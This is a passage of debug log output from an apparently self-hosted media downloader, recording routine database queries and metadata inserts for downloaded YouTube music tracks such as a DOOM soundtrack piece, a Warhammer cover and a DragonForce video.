((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [112] 22:20:49.920 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "11. BFG Division\nDOOM Official Soundtrack\nDOOM developed by id Software and published by Bethesda/Zenimax.\nMusic written, produced and mixed by: Mick Gordon\n\nSOUNDTRACK AVAILABLE NOW:\niTunes: \nhttps://itunes.apple.com/us/album/doom-original-game-soundtrack/id1157733728#\nGoogle Play: \nhttps://play.google.com/store/music/album/Mick_Gordon_Doom_Original_Game_Soundtrack?id=Bprrws2k246zctacv56xhlfdz4m\nSpotify: \nhttps://open.spotify.com/album/0KQyC28P9808r0oKKNgHvp\n\nGUITAR: Mayones Regius 8. Swamp Ash/Maple Top, Ebony Fretboard, Bareknuckle Aftermath pickups. Tuned EAEADGBE.\n\nMick Gordon proudly uses Mayones Guitars exclusively.\nMayones Guitars & Basses, handmade in Poland since 1982.\nhttp://www.mayones.com/\n\nThis video makes use of the fabulous PhotoMode footage from DeathStalker. Check out his videos here: https://youtu.be/I87SxirxjA8\n________________________________________\n\nTwitter: https://twitter.com/Mick_Gordon\nFacebook: https://www.facebook.com/MickGordonMusic\nPurchase Doom here: doom.com\nSubscribe for more: http://bit.ly/1v0JG1G\nMick-Gordon.com", "duration" => 507, "filename" => "/downloads/Grift/Grift/2016-09-28Mick Gordon - 11. BFG Division[QHRuTYtSbJQ].m4a", "id" => "QHRuTYtSbJQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QHRuTYtSbJQ", "playlist_index" => 9, "timestamp" => 1475082226, "title" => "Mick Gordon - 11. BFG Division", "upload_date" => "20160928"} 22:20:49.920 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:49.921 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.921 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-09-28 17:03:46Z], 4] 22:20:50.112 [debug] QUERY OK source="media_items" db=190.6ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["11. BFG Division\nDOOM Official Soundtrack\nDOOM developed by id Software and published by Bethesda/Zenimax.\nMusic written, produced and mixed by: Mick Gordon\n\nSOUNDTRACK AVAILABLE NOW:\niTunes: \nhttps://itunes.apple.com/us/album/doom-original-game-soundtrack/id1157733728#\nGoogle Play: \nhttps://play.google.com/store/music/album/Mick_Gordon_Doom_Original_Game_Soundtrack?id=Bprrws2k246zctacv56xhlfdz4m\nSpotify: \nhttps://open.spotify.com/album/0KQyC28P9808r0oKKNgHvp\n\nGUITAR: Mayones Regius 8. Swamp Ash/Maple Top, Ebony Fretboard, Bareknuckle Aftermath pickups. Tuned EAEADGBE.\n\nMick Gordon proudly uses Mayones Guitars exclusively.\nMayones Guitars & Basses, handmade in Poland since 1982.\nhttp://www.mayones.com/\n\nThis video makes use of the fabulous PhotoMode footage from DeathStalker. Check out his videos here: https://youtu.be/I87SxirxjA8\n________________________________________\n\nTwitter: https://twitter.com/Mick_Gordon\nFacebook: https://www.facebook.com/MickGordonMusic\nPurchase Doom here: doom.com\nSubscribe for more: http://bit.ly/1v0JG1G\nMick-Gordon.com", "Mick Gordon - 11. BFG Division", "fe62b5a1-1176-405d-b6bf-e60323cc7643", false, "QHRuTYtSbJQ", 507, false, "https://www.youtube.com/watch?v=QHRuTYtSbJQ", 9, "/downloads/Grift/Grift/2016-09-28Mick Gordon - 11. BFG Division[QHRuTYtSbJQ].m4a", false, false, 4, [], 1, ~U[2016-09-28 17:03:46Z], ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z], "11. BFG Division\nDOOM Official Soundtrack\nDOOM developed by id Software and published by Bethesda/Zenimax.\nMusic written, produced and mixed by: Mick Gordon\n\nSOUNDTRACK AVAILABLE NOW:\niTunes: \nhttps://itunes.apple.com/us/album/doom-original-game-soundtrack/id1157733728#\nGoogle Play: \nhttps://play.google.com/store/music/album/Mick_Gordon_Doom_Original_Game_Soundtrack?id=Bprrws2k246zctacv56xhlfdz4m\nSpotify: \nhttps://open.spotify.com/album/0KQyC28P9808r0oKKNgHvp\n\nGUITAR: Mayones Regius 8. Swamp Ash/Maple Top, Ebony Fretboard, Bareknuckle Aftermath pickups. Tuned EAEADGBE.\n\nMick Gordon proudly uses Mayones Guitars exclusively.\nMayones Guitars & Basses, handmade in Poland since 1982.\nhttp://www.mayones.com/\n\nThis video makes use of the fabulous PhotoMode footage from DeathStalker. Check out his videos here: https://youtu.be/I87SxirxjA8\n________________________________________\n\nTwitter: https://twitter.com/Mick_Gordon\nFacebook: https://www.facebook.com/MickGordonMusic\nPurchase Doom here: doom.com\nSubscribe for more: http://bit.ly/1v0JG1G\nMick-Gordon.com", "Mick Gordon - 11. BFG Division", "QHRuTYtSbJQ", 507, false, "https://www.youtube.com/watch?v=QHRuTYtSbJQ", "/downloads/Grift/Grift/2016-09-28Mick Gordon - 11. BFG Division[QHRuTYtSbJQ].m4a", false, 4, ~U[2016-09-28 17:03:46Z]] 22:20:50.118 [debug] QUERY OK source="sources" db=5.5ms idle=192.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:50.118 [debug] QUERY OK source="media_profiles" db=0.2ms idle=197.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:50.119 [debug] QUERY OK source="media_items" db=0.1ms idle=197.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [113] 22:20:50.119 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#EpicMusic2025 #warhammer40k #warhammer \nWarhammer Darktide: Disposal Unit - Pianistec Cover\n\nThis is an epic orchestral cover of \"Disposal Unit (Imperium Mix)\" from Warhammer 40,000: Darktide, originally composed by Jesper Kyd. I actually found this theme through the \"Milky Way Sweep\" warhammer meme. At the end I merged it with the melody of \"His Angels\", originally composed by Cloud of Judgement.\n\n►Credits\n- Original Soundtrack by Jesper Kyd on Spotify: https://open.spotify.com/intl-de/track/3nZ7CNw1UD2qpsE4oBbZIE?si=23fd1d3e58e84ac7\n- Space Marine Army March Clip originally made by \"Erasmus Brosdau\"\n- Original Milky Way Sweep Meme Video: https://www.youtube.com/watch?v=B1rMvEYsMaM\n- Thanks to Nick, Jadzia and Lukas for helping me with the army and ethnic vocals.\n\n►If you want to support me, you can buy me a coffee here:\nhttps://www.buymeacoffee.com/pianistec\n\n►Or follow me on Patreon\nhttps://www.patreon.com/Pianistec\n\n►Terms of Usage\nIllegaly distributing or remixing my music is FORBIDDEN.\nIf you want to use the music, please have a look at the terms of usage:\nhttps://textdoc.co/XLspMhDGJNx4a7f3\n\n►All copyrights belong to their respective owners\nComposition: \n\"Disposal Unit (Imperium Mix)\" by Jesper Kyd\n\"His Angels\" by Cloud of Judgement\nShort Animation Clip by Erasmus Brosdau\nWallpaper: Created by AI ©Pianistec\n\n►I'm also making piano music, you can listen to it here: https://www.youtube.com/@BrothersOnPiano\n\n►Video made with FL Studio ZGameEditor Visualizer plugin\nEffect author credits: \nItsFullOfStars - Jph Wacheski http://jph_wacheski.itch.io/ \nColorBlobs - @paulofalcao\nLinear - StevenM,Dubswitcher,Youlean \nDubswitcher Linear Blur\nPeakmap - Dubswitcher\nRaindrops - Martijn Steinrucken @The_ArtOfCode \nFrameBlur - Cynex \nPolar - Kjell, Dubswitcher \n\n►Contact:\npianistec.contact@gmail.com\n\n►My frequently used libraries:\n- Composers Cloud + (EastWest)\n- Metropolis Ark 1 - 5 (Orchestral Tools)\n- Drum Ensembles (Heavyocity)\n- Damage 2 (Heavyocity)\n- Evolution: Devastator Warzone (Keepforest)\n- Jaeger (Audio Imperia)\n- Nucleus (Audio Imperia)\n- Solo (Audio Imperia)\n- Klavier (Audio Imperia)\n- Chorus (Audio Imperia)\n- Talos (Audio Imperia)\n- Oceania I & II (Performance Samples)\n- Pacific Strings (Performance Samples)\n- The Giant (Native Instruments)\n- Trailer Brass (MusicalSampling)\n- Strikeforce 2 (Laboratory Audio)\n- Woodchester Piano (Fracture Sounds)\n- Cinematic Studio Strings (Cinematic Studio Series)\n- Cinematic Studio Brass (Cinematic Studio Series)\n\n►Used Daw:\nFl Studio\n\n►Social Media:\nInstagram: https://instagram.com/pianistecmusic\n\n►Follow me on Spotify, iTunes, Amazon, etc:\nhttps://songwhip.com/pianistec\n\n►Follow me on Soundcloud:\nhttps://soundcloud.com/pianistec\n\n🎧 I hope you enjoied this cover and subscribe for more EPIC in your life! 🎧", "duration" => 183, "filename" => "/downloads/Grift/Grift/2025-04-19Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION[Gacj-03Q5Xo].m4a", "id" => "Gacj-03Q5Xo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Gacj-03Q5Xo", "playlist_index" => 10, "timestamp" => 1745024058, "title" => "Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION", "upload_date" => "20250419"} 22:20:50.119 [debug] QUERY OK source="sources" db=0.1ms idle=198.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:50.120 [debug] QUERY OK source="sources" db=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:50.120 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 00:54:18Z], 4] 22:20:50.288 [debug] QUERY OK source="media_items" db=166.8ms idle=2.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#EpicMusic2025 #warhammer40k #warhammer \nWarhammer Darktide: Disposal Unit - Pianistec Cover\n\nThis is an epic orchestral cover of \"Disposal Unit (Imperium Mix)\" from Warhammer 40,000: Darktide, originally composed by Jesper Kyd. I actually found this theme through the \"Milky Way Sweep\" warhammer meme. At the end I merged it with the melody of \"His Angels\", originally composed by Cloud of Judgement.\n\n►Credits\n- Original Soundtrack by Jesper Kyd on Spotify: https://open.spotify.com/intl-de/track/3nZ7CNw1UD2qpsE4oBbZIE?si=23fd1d3e58e84ac7\n- Space Marine Army March Clip originally made by \"Erasmus Brosdau\"\n- Original Milky Way Sweep Meme Video: https://www.youtube.com/watch?v=B1rMvEYsMaM\n- Thanks to Nick, Jadzia and Lukas for helping me with the army and ethnic vocals.\n\n►If you want to support me, you can buy me a coffee here:\nhttps://www.buymeacoffee.com/pianistec\n\n►Or follow me on Patreon\nhttps://www.patreon.com/Pianistec\n\n►Terms of Usage\nIllegaly distributing or remixing my music is FORBIDDEN.\nIf you want to use the music, please have a look at the terms of usage:\nhttps://textdoc.co/XLspMhDGJNx4a7f3\n\n►All copyrights belong to their respective owners\nComposition: \n\"Disposal Unit (Imperium Mix)\" by Jesper Kyd\n\"His Angels\" by Cloud of Judgement\nShort Animation Clip by Erasmus Brosdau\nWallpaper: Created by AI ©Pianistec\n\n►I'm also making piano music, you can listen to it here: https://www.youtube.com/@BrothersOnPiano\n\n►Video made with FL Studio ZGameEditor Visualizer plugin\nEffect author credits: \nItsFullOfStars - Jph Wacheski http://jph_wacheski.itch.io/ \nColorBlobs - @paulofalcao\nLinear - StevenM,Dubswitcher,Youlean \nDubswitcher Linear Blur\nPeakmap - Dubswitcher\nRaindrops - Martijn Steinrucken @The_ArtOfCode \nFrameBlur - Cynex \nPolar - Kjell, Dubswitcher \n\n►Contact:\npianistec.contact@gmail.com\n\n►My frequently used libraries:\n- Composers Cloud + (EastWest)\n- Metropolis Ark 1 - 5 (Orchestral Tools)\n- Drum Ensembles (Heavyocity)\n- Damage 2 (Heavyocity)\n- Evolution: Devastator Warzone (Keepforest)\n- Jaeger (Audio Imperia)\n- Nucleus (Audio Imperia)\n- Solo (Audio Imperia)\n- Klavier (Audio Imperia)\n- Chorus (Audio Imperia)\n- Talos (Audio Imperia)\n- Oceania I & II (Performance Samples)\n- Pacific Strings (Performance Samples)\n- The Giant (Native Instruments)\n- Trailer Brass (MusicalSampling)\n- Strikeforce 2 (Laboratory Audio)\n- Woodchester Piano (Fracture Sounds)\n- Cinematic Studio Strings (Cinematic Studio Series)\n- Cinematic Studio Brass (Cinematic Studio Series)\n\n►Used Daw:\nFl Studio\n\n►Social Media:\nInstagram: https://instagram.com/pianistecmusic\n\n►Follow me on Spotify, iTunes, Amazon, etc:\nhttps://songwhip.com/pianistec\n\n►Follow me on Soundcloud:\nhttps://soundcloud.com/pianistec\n\n🎧 I hope you enjoied this cover and subscribe for more EPIC in your life! 🎧", "Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION", "bfc2cfe3-e3da-406c-a942-640189186360", false, "Gacj-03Q5Xo", 183, false, "https://www.youtube.com/watch?v=Gacj-03Q5Xo", 10, "/downloads/Grift/Grift/2025-04-19Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION[Gacj-03Q5Xo].m4a", false, false, 4, [], 1, ~U[2025-04-19 00:54:18Z], ~U[2026-07-24 02:20:50Z], ~U[2026-07-24 02:20:50Z], "#EpicMusic2025 #warhammer40k #warhammer \nWarhammer Darktide: Disposal Unit - Pianistec Cover\n\nThis is an epic orchestral cover of \"Disposal Unit (Imperium Mix)\" from Warhammer 40,000: Darktide, originally composed by Jesper Kyd. I actually found this theme through the \"Milky Way Sweep\" warhammer meme. At the end I merged it with the melody of \"His Angels\", originally composed by Cloud of Judgement.\n\n►Credits\n- Original Soundtrack by Jesper Kyd on Spotify: https://open.spotify.com/intl-de/track/3nZ7CNw1UD2qpsE4oBbZIE?si=23fd1d3e58e84ac7\n- Space Marine Army March Clip originally made by \"Erasmus Brosdau\"\n- Original Milky Way Sweep Meme Video: https://www.youtube.com/watch?v=B1rMvEYsMaM\n- Thanks to Nick, Jadzia and Lukas for helping me with the army and ethnic vocals.\n\n►If you want to support me, you can buy me a coffee here:\nhttps://www.buymeacoffee.com/pianistec\n\n►Or follow me on Patreon\nhttps://www.patreon.com/Pianistec\n\n►Terms of Usage\nIllegaly distributing or remixing my music is FORBIDDEN.\nIf you want to use the music, please have a look at the terms of usage:\nhttps://textdoc.co/XLspMhDGJNx4a7f3\n\n►All copyrights belong to their respective owners\nComposition: \n\"Disposal Unit (Imperium Mix)\" by Jesper Kyd\n\"His Angels\" by Cloud of Judgement\nShort Animation Clip by Erasmus Brosdau\nWallpaper: Created by AI ©Pianistec\n\n►I'm also making piano music, you can listen to it here: https://www.youtube.com/@BrothersOnPiano\n\n►Video made with FL Studio ZGameEditor Visualizer plugin\nEffect author credits: \nItsFullOfStars - Jph Wacheski http://jph_wacheski.itch.io/ \nColorBlobs - @paulofalcao\nLinear - StevenM,Dubswitcher,Youlean \nDubswitcher Linear Blur\nPeakmap - Dubswitcher\nRaindrops - Martijn Steinrucken @The_ArtOfCode \nFrameBlur - Cynex \nPolar - Kjell, Dubswitcher \n\n►Contact:\npianistec.contact@gmail.com\n\n►My frequently used libraries:\n- Composers Cloud + (EastWest)\n- Metropolis Ark 1 - 5 (Orchestral Tools)\n- Drum Ensembles (Heavyocity)\n- Damage 2 (Heavyocity)\n- Evolution: Devastator Warzone (Keepforest)\n- Jaeger (Audio Imperia)\n- Nucleus (Audio Imperia)\n- Solo (Audio Imperia)\n- Klavier (Audio Imperia)\n- Chorus (Audio Imperia)\n- Talos (Audio Imperia)\n- Oceania I & II (Performance Samples)\n- Pacific Strings (Performance Samples)\n- The Giant (Native Instruments)\n- Trailer Brass (MusicalSampling)\n- Strikeforce 2 (Laboratory Audio)\n- Woodchester Piano (Fracture Sounds)\n- Cinematic Studio Strings (Cinematic Studio Series)\n- Cinematic Studio Brass (Cinematic Studio Series)\n\n►Used Daw:\nFl Studio\n\n►Social Media:\nInstagram: https://instagram.com/pianistecmusic\n\n►Follow me on Spotify, iTunes, Amazon, etc:\nhttps://songwhip.com/pianistec\n\n►Follow me on Soundcloud:\nhttps://soundcloud.com/pianistec\n\n🎧 I hope you enjoied this cover and subscribe for more EPIC in your life! 🎧", "Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION", "Gacj-03Q5Xo", 183, false, "https://www.youtube.com/watch?v=Gacj-03Q5Xo", "/downloads/Grift/Grift/2025-04-19Milky Way Sweep - Disposal Unit (Imperium Mix) | Warhammer 40k | EPIC VERSION[Gacj-03Q5Xo].m4a", false, 4, ~U[2025-04-19 00:54:18Z]] 22:20:50.318 [debug] QUERY OK source="sources" db=29.7ms idle=169.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:50.319 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=199.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:50.320 [debug] QUERY OK source="media_items" db=0.5ms idle=199.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [114] 22:20:50.321 [debug] Current batch of media processed. Will check again in 1000ms 22:20:50.918 [debug] Current batch of media processed. Will check again in 1000ms 22:20:51.322 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🐲📢💙 DragonForce Announce New Vocalist & Frontwoman, Alissa White-Gluz.\n🎟️ Inhuman Rampage 20th Anniversary Tour Dates, Tickets & Limited VIP Upgrades: https://dragonforce.com/shows/\n\nDragonForce Through the Fire and Flames is the platinum selling record of the album 'Inhuman Rampage'. This classic was also featured on the video game Guitar Hero III - Legends of Rock as the hardest song to beat. DragonForce's musical style is called Extreme Power Metal! This song was uploaded many times in the early days of YouTube but this was the first! Yes, we know it is a meme song of many memes! #dragonforce #hermanli #throughthefireandflames\n\nDragonForce is a Grammy nominated platinum selling metal band. For over 20 years, DragonForce have toured around the world and shared the stage with many amazing bands including Iron Maiden, Metallica, Megadeth, Helloween, Sabaton, Nightwish, Powerwolf, Amon Amarth, Hammerfall, Amaranthe, Blind Guardian, Stratovarius, Avenged Sevenfold, Five Finger Death Punch, Rhapsody and many more bands on Nuclear Blast Records, Napalm Records.\n\nSUBSCRIBE ► https://www.youtube.com/c/dragonforce?sub_confirmation=1\nENABLE ► Notification\nTWITCH LIVESTREAM ► https://twitch.tv/hermanli\nSCHEDULE ► https://twitch.tv/hermanli/schedule\nJoin Herman Li on Twitch for epic songwriting, live reactions, guitar playthrough, video gaming, gear reviews, special guest events and more!\nGet your Herman shout out to friends ► https://cameo.com/hermanli\n\nDRAGONFORCE\n🌏 Official Site ► https://dragonforce.com\n🎸 Tour Dates, Tickets & VIP ► https://dragonforce.com/shows\n👕 Merch ► https://dragonforce.com/shop\nBluesky ► https://bsky.app/profile/dragonforce.com\nFacebook ► https://facebook.com/dragonforce\nInstagram ► https://instagram.com/dragonforcehq\nRednote ► dragonforce\nTikTok ► https://tiktok.com/@dragonforce\nX/Twitter ► https://twitter.com/dragonforce\nYouTube ► https://youtube.com/dragonforce\n\nHERMAN LI\nOfficial Site ► https://hermanli.com\nBluesky ► https://bsky.app/profile/hermanli.com\nDiscord ► https://discord.gg/hermanli\nFacebook ► https://facebook.com/hermanli.online\nInstagram ► https://instagram.com/hermanli\nRednote ► HermanLi\nTikTok ► https://tiktok.com/@hermanli\nTwitch ► https://twitch.tv/hermanli\nX/Twitter ► https://twitter.com/hermanli\nYouTube ► https://youtube.com/hermanli\n\nDRAGONFORCE MUSIC\nAmazon https://amzn.to/3jOF1hN\niTunes https://apple.co/2P2xTjx\nSpotify https://open.spotify.com/artist/2pH3wEn4eYlMMIIQyKPbVR\nTidal https://bit.ly/348GDxn", "duration" => 300, "filename" => "/downloads/Grift/Grift/2006-12-26DRAGONFORCE - Through the Fire and Flames (Official Video)[0jgrCKhxE1s].m4a", "id" => "0jgrCKhxE1s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0jgrCKhxE1s", "playlist_index" => 11, "timestamp" => 1167142172, "title" => "DRAGONFORCE - Through the Fire and Flames (Official Video)", "upload_date" => "20061226"} 22:20:51.323 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1035.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:51.324 [debug] QUERY OK source="sources" db=0.4ms idle=1005.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:51.325 [debug] QUERY OK source="media_items" db=0.4ms idle=1005.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2006-12-26 14:09:32Z], 4] 22:20:51.640 [debug] QUERY OK source="media_items" db=314.1ms idle=1005.3ms INSERT INTO "media_items" AS m0 